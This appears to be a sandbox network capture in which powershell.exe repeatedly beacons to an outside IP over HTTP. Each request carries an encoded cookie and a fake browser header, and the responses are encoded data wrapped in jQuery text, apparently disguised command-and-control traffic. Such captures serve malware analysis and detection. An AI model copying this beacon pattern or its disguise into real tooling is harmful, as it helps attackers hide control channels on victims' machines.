Apr 9, 2023 02:59:44.815351963 CEST	683	IN	Data Raw: 50 4b 41 44 45 42 4c 4f 4b 47 47 46 4c 49 4f 4d 42 44 46 49 4c 4b 44 49 41 47 4a 4f 43 4a 4e 41 49 44 42 50 48 48 41 42 42 49 45 44 49 48 4b 4c 4d 48 4a 41 4d 44 44 43 4d 4a 45 49 42 4c 48 4f 41 42 48 47 45 41 44 43 4a 47 49 4c 44 45 49 41 45 43 Data Ascii: PKADEBLOKGGFLIOMBDFILKDIAGJOCJNAIDBPHHABBIEDIHKLMHJAMDDCMJEIBLHOABHGEADCJGILDEIAECLOOCOJGAGHEHGI/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'objec

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49699	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:44.966274977 CEST	163	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=vvfCi-U0osw0AG2KhyEs60SLQeDTsILRKbhrRhHbW4ydwLX7rGxEnEb9v1ECCiLkVp7Hhr3bH7V9jsXWqFvu0BgpDm7UStc1NO2e0-KgXe0q68TQjlFu_vyPPG6Wh4ShenFBAPZZqtAMDeZ_sxsGUC15Q41s57ldfu-zp_MlwzKLw9om User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:45.115094900 CEST	163	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:45 GMT Server: CloudFront Content-Length: 2580 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:45.115123034 CEST	165	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:45.115140915 CEST	166	IN	Data Raw: 41 41 47 4e 4c 41 4e 41 49 46 42 45 45 45 48 4d 50 4b 42 47 45 44 49 4f 47 4d 48 45 46 48 4e 4c 49 4d 45 42 4c 50 47 46 4f 41 4f 4c 4b 4e 44 49 4b 46 50 50 45 4f 4e 46 49 4a 4e 4d 49 45 41 44 4e 4f 50 4f 4f 4b 4d 48 46 4b 48 4b 49 42 4f 49 50 4d Data Ascii: AAGNLANAIFBEEEHMPKBGEDIOGMHEFHNLIMEBLPGFOAOLKNDIKFPPEONFIJNMIEADNOPOOKMHFKHKIBOIPMCCMIBNMNPHFCGJANBPBNDGILFEJICENOECADIDJAPGCKHHNIOJDJMOMPLFAKLILPOPCCBKEEJJBLHPNKPFJPEGNFEFFKIDMLAAHCMPEBMPNDAOIDKDKPEAFHEMOFEGGEKGMALJNNCDJBCICMDDAAAKCLCNFPLKEDH
Apr 9, 2023 02:58:45.115159035 CEST	166	IN	Data Raw: 65 6e 74 4e 6f 64 65 3b Data Ascii: entNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.5	49834	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:45.078880072 CEST	684	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Idey03oU0pSrIB3SGAFcs9urMbhMkPKJtpgbHo77K9QC4MWjM0w0xNndzwmdKlK8yb633iL7b-3irrWON3ueiIcJfjZLaqdtq83ui32ALbW1y7SIEXEepmOvTDYJp_T55VExWGl52oiTLZYnLDt2CLJZM9Xzx8kF4c_D_2wFs2oU46p- User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:45.227627039 CEST	685	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:45 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:45.227683067 CEST	686	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:45.227718115 CEST	687	IN	Data Raw: 4d 44 41 4f 4c 4f 49 4a 4a 4f 4d 4d 43 4c 45 50 47 44 42 4e 4a 4d 4f 45 41 43 48 4a 44 4e 42 42 50 4b 4d 4f 4c 45 48 4b 46 4c 43 4e 4b 4e 42 45 47 4a 46 4f 48 48 48 43 4e 42 48 4f 46 47 47 4c 46 4c 43 47 44 4e 4d 44 42 43 42 4b 44 43 4f 48 4d 4b Data Ascii: MDAOLOIJJOMMCLEPGDBNJMOEACHJDNBBPKMOLEHKFLCNKNBEGJFOHHHCNBHOFGGLFLCGDNMDBCBKDCOHMKFEJOCKCBPNFNPHMJPLJGCNDCALNOPJBLINHHIFPICOEMODCIJLOMGELLLAEGKPKCNCPBGGAMMPNMBOOOELKNMIBFDFOABDFLAAHPILPMGNLACGCANPAIDFKKKACNHCIIAAOKPDHHHEFLPFECBMAGFADKGHIJJMGJN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.5	49835	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:45.497379065 CEST	688	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=vMfsVucEjBE2MENXhRECNka7bz3RgKwMK4hFmxPrdVGf8JsmrlxqQUTNkYwAOgw5VK7pW7_rMWh_vusLqmvADRoZILPWevnoNt2wDuCQczAo2-oNjGFAI_6_ErOUt6p8eEFv3fRphA0OPciisSsojS9JbVBu15eAfN-devEV7e-J8_T7 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:45.648286104 CEST	689	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:45 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:45.648325920 CEST	690	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:45.648350954 CEST	691	IN	Data Raw: 4d 44 4e 50 45 42 43 43 45 42 43 4d 41 47 4a 45 48 4e 4f 48 43 42 4f 43 48 4e 4f 4a 50 41 45 4c 50 4b 4f 49 4e 4b 4c 4e 41 42 46 4b 4b 44 47 44 4d 4c 48 41 45 4d 46 47 49 41 45 4b 45 41 4c 43 44 4d 48 43 49 48 43 43 45 50 4a 4e 48 47 44 45 4b 42 Data Ascii: MDNPEBCCEBCMAGJEHNOHCBOCHNOJPAELPKOINKLNABFKKDGDMLHAEMFGIAEKEALCDMHCIHCCEPJNHGDEKBNKLLKOLOCMABAIFOCGONEOAHLNIMAPGMAJEPDGADKDENGBPFFBNDOCJCJPNEGMHCMBGAJBFPBILFANIJDEMBPOJMMIIFDDHNKECICELNPGDLPKNAGPLMFLPPPONNEBJGOHIMMEKCEKEKKFGGCPGGGHAAMNBDKPHLG
Apr 9, 2023 02:59:45.648379087 CEST	692	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.5	49836	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:45.939620018 CEST	693	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=w99yqJgcEu9JKN2p-gmcyDmj8cOumDLyVJDbZWzz66_g6AXY0UT0vzvVD3J_IpLHK7Z3pcDzr5YApnX11XNe82UBvk2pYmcWScUu8J-I7c5Xw3Tz83ne3YGnjE3rrzSCB1nxI4txGvNxJVZczjO2c1BR864Rzwl-A8cDhI4NcxH262oF User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:46.095964909 CEST	693	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:45 GMT Server: CloudFront Content-Length: 2644 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:46.096004963 CEST	694	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:46.096026897 CEST	696	IN	Data Raw: 47 47 48 45 49 4d 4a 4d 4e 49 50 4b 4f 41 42 4e 48 4f 4f 50 45 45 4e 4a 49 45 45 44 42 4b 42 4a 4a 4b 43 50 4b 49 4f 43 46 50 50 46 49 49 48 43 41 45 45 41 4d 49 46 48 4d 4b 4d 48 4f 4f 4f 4c 4b 4e 47 4b 46 4d 42 4a 4b 49 42 43 4f 42 4f 4e 45 4f Data Ascii: GGHEIMJMNIPKOABNHOOPEENJIEEDBKBJJKCPKIOCFPPFIIHCAEEAMIFHMKMHOOOLKNGKFMBJKIBCOBONEOPJIBOECICJFPIHIFPECKDGCMIMGIHOHGLJFNPLPCOLBHIFFCMDLLCFDDKGHBFIDDGHCPOEHBCBPBMMLGNGIAOLDJFLNHGMOPMGNLDKJMGBOIKGFKKCJLEBEOINFAJAHIJBAHGEKICPIALPHEBDEIDDFCLDEOIHFFC
Apr 9, 2023 02:59:46.096046925 CEST	696	IN	Data Raw: 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 72 29 29 26 26 6f 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: .getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.5	49837	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:46.364116907 CEST	697	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=YI47bjtNWynqeZRvWVjVDpryuAUNyXs098GSo8-iomlDuUwechW9eZiERrTcc9sBiOc-Y2Oi5lCj9zwzdiIXNcZQ94sKMy7Q6pRnNjzZpAj0kj01UCiXGyL2xYtI_n1EpAi45SggUzXSdB-abWL_tfMAumiynkC4oJZKQi1cOtdVuiPD User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:46.517846107 CEST	697	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:46 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:46.517896891 CEST	698	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:46.517920017 CEST	700	IN	Data Raw: 4a 4a 46 44 43 47 41 49 4c 45 4f 41 45 47 4b 47 45 49 48 4b 49 4d 43 4b 4d 49 49 49 4c 47 4d 45 47 47 4b 50 50 4a 47 43 47 4d 46 42 4d 4a 42 44 4d 4c 47 50 46 42 42 4e 4c 50 49 48 47 47 4e 4c 4e 4e 4c 4c 4c 4a 49 49 41 50 4d 4a 4e 41 47 42 41 4e Data Ascii: JJFDCGAILEOAEGKGEIHKIMCKMIIILGMEGGKPPJGCGMFBMJBDMLGPFBBNLPIHGGNLNNLLLJIIAPMJNAGBANOOFNBJDDNHAPNNBMEDNACKBAEFNGNFCFJEFELMJLGCBCONIOADHJDIEOHOMPJMCJMMLBLGMHDCIALHNGJIKDELEHIEDELCOCCAMBBCDOCEPHJCOEKLKDJNFAJINBMNHNBNLCIJCGLPEKCKINELILNLLCDMDGGBFJJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.5	49838	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:46.808739901 CEST	701	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=o9g-AfgbXkYpL5EAmg7QYVmkvWrOn35bNJeXzAz0pwaA70lxsUO4FlvSQ9sfJd5uS7E7DKD04z9goTlctXQSWgUG8uTJZSu_KcJiWf-PoWc3xDhak36SdOGgwOSLqHgrZ169iut2VloRIhr1rjT62jBWvwdxyEXXY8BPLe4KP7iW7Cas User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:46.958861113 CEST	701	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:46 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:46.958904028 CEST	702	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:46.958934069 CEST	703	IN	Data Raw: 45 4b 4c 4f 41 4a 47 50 44 43 48 41 42 42 44 4f 44 4c 43 46 45 46 41 4e 44 4d 43 4e 4d 43 50 4f 44 49 46 43 4f 4e 4b 47 48 4e 47 4d 46 4b 4a 44 4f 4f 4c 43 41 50 44 50 46 4d 47 49 41 4b 44 48 4a 4d 47 4f 48 46 4e 48 4c 47 44 4b 45 48 46 45 45 4b Data Ascii: EKLOAJGPDCHABBDODLCFEFANDMCNMCPODIFCONKGHNGMFKJDOOLCAPDPFMGIAKDHJMGOHFNHLGDKEHFEEKKPCPLLJIBDPPCCFOPLOPLMPHPOOLGFIEOGBKELHGDJADLIADGJJPDENIGKIKJKGLCDNOJGGEFADMELIIEEMFFLJNNLCHKAHKEKPICIBEGPCFNFJJGPOJCCPFPHIGJNIFCGIKJHIAPFCJOHANNLKFOACFHKELFMPDL

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.5	49839	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:47.218065023 CEST	705	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=iZnj0NJag5cDbkzRsE8NsHPlYLvk3qOKHtZKHSa1eteqrpSgmwJlx3GTngo1ZAO_YfDm3Yq1Pu5K4OSNnzXPiy9HLzXjJPZuA4O_iNXOfLYdheWLuT9PpcvhHTWh6aX6TR9gW8E3i4s7Y8ckhHUnCxoXYtZbiZgGSYGS_MRL4mm8rft9 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:47.366549969 CEST	705	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:47 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:47.366748095 CEST	706	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:47.366777897 CEST	707	IN	Data Raw: 43 4a 47 46 49 4c 45 4c 45 42 50 49 4e 42 50 41 45 4f 4b 43 4e 4c 4c 4a 4b 4b 4f 4d 46 46 48 45 4d 49 44 4a 42 4d 49 4a 48 44 49 4c 43 41 49 48 43 43 4b 4c 42 41 4d 44 50 47 4b 49 43 4c 47 50 4e 44 41 4f 41 4b 42 47 50 41 45 49 47 44 50 42 4b 4b Data Ascii: CJGFILELEBPINBPAEOKCNLLJKKOMFFHEMIDJBMIJHDILCAIHCCKLBAMDPGKICLGPNDAOAKBGPAEIGDPBKKOAKMNNACCAIKGGNPCLNICBPOKEKGLNGDIHDJDGCKHOOGFGBLDIJBCFDPHMOBLBJEIOGHFGJFLKBPJHBEJPIAHGDHGHOINJJHNJKPNEPEBANEGNJBIKNHCMKFEMMOCCAENJNPAAOEJLAHLA/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.5	49840	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:47.638858080 CEST	708	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=uetFzeIoJYozHOrMgD2rrUOXxqbUrAWXLqTsABbH3Mqa3DK9q3DD2kHhOBcFFqWiUYJAwLrHmPN6kkKQr0dplh81iSjTVlBzM_EZleW82qst90OWiU3puPuTuyiRmwPnfW3GRvFFLZYLEWE5tAeBFiplxMtr-z4befM04fQ5RHSM311g User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:47.797785044 CEST	709	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:47 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:47.797805071 CEST	710	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:47.797820091 CEST	711	IN	Data Raw: 4f 4f 44 46 4d 45 44 41 4c 43 4d 4a 47 48 49 46 4c 45 43 4c 41 49 4d 48 44 46 4e 42 4e 4a 50 46 4b 50 45 50 48 50 45 47 4a 46 48 45 44 4c 48 4c 4d 46 4d 48 4d 4a 4c 4e 4f 4a 4e 49 4d 4b 50 4d 47 49 4b 48 47 45 50 49 45 47 45 41 43 4c 4b 4f 42 4f Data Ascii: OODFMEDALCMJGHIFLECLAIMHDFNBNJPFKPEPHPEGJFHEDLHLMFMHMJLNOJNIMKPMGIKHGEPIEGEACLKOBOIHMDHGDFIHEPECMKGPCMHJOHNHFJFONFLANBLJJKGHKMDA/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.5	49841	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:48.056678057 CEST	712	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=yNVYupMWOP1CIve78QO22jKp29GlkhjgX5rxd2f5wb3r4i_K2k7erTDfJWB0KLjVILxdt8v5hYQLrF_n3nl04W4LlF-iaE0EQs8E4pSCx9xcyV7h-HP0z4qtpl_gpR6QDFPbMYB7MOF6L3xOxTmcYVtb2bwaxSNsCM0ploUHWQP94UAX User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:48.206985950 CEST	712	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:48 GMT Server: CloudFront Content-Length: 2260 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:48.207006931 CEST	714	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:48.207032919 CEST	715	IN	Data Raw: 45 45 44 47 48 43 47 4c 44 4f 41 41 46 4a 45 41 4a 44 42 4c 47 4c 4b 46 4d 47 43 41 50 46 4c 4f 43 4f 47 45 48 42 48 44 43 4e 47 41 49 47 41 4c 45 49 4f 44 42 4e 46 46 42 50 4e 4e 4c 4d 4f 4a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 Data Ascii: EEDGHCGLDOAAFJEAJDBLGLKFMGCAPFLOCOGEHBHDCNGAIGALEIODBNFFBPNNLMOJ/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? mo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.5	49842	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:48.527508020 CEST	716	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=j9ZC3tQVIpkFIe3ftgCsvnWqwbXikQKEGJnrEyD629ms4TWunU3EyXfcPwQzK6KxZ79H04z6n-BMr0WDmXpuhSkIjjvla1dgBcwehtOB3bgbykSFv3Duq82uvDunpgT0S1DBVcd4KoU9LGYqgjqGBRxYw9hdxjkIT84z8sIEQ2e64lpz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:48.692594051 CEST	716	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:48 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
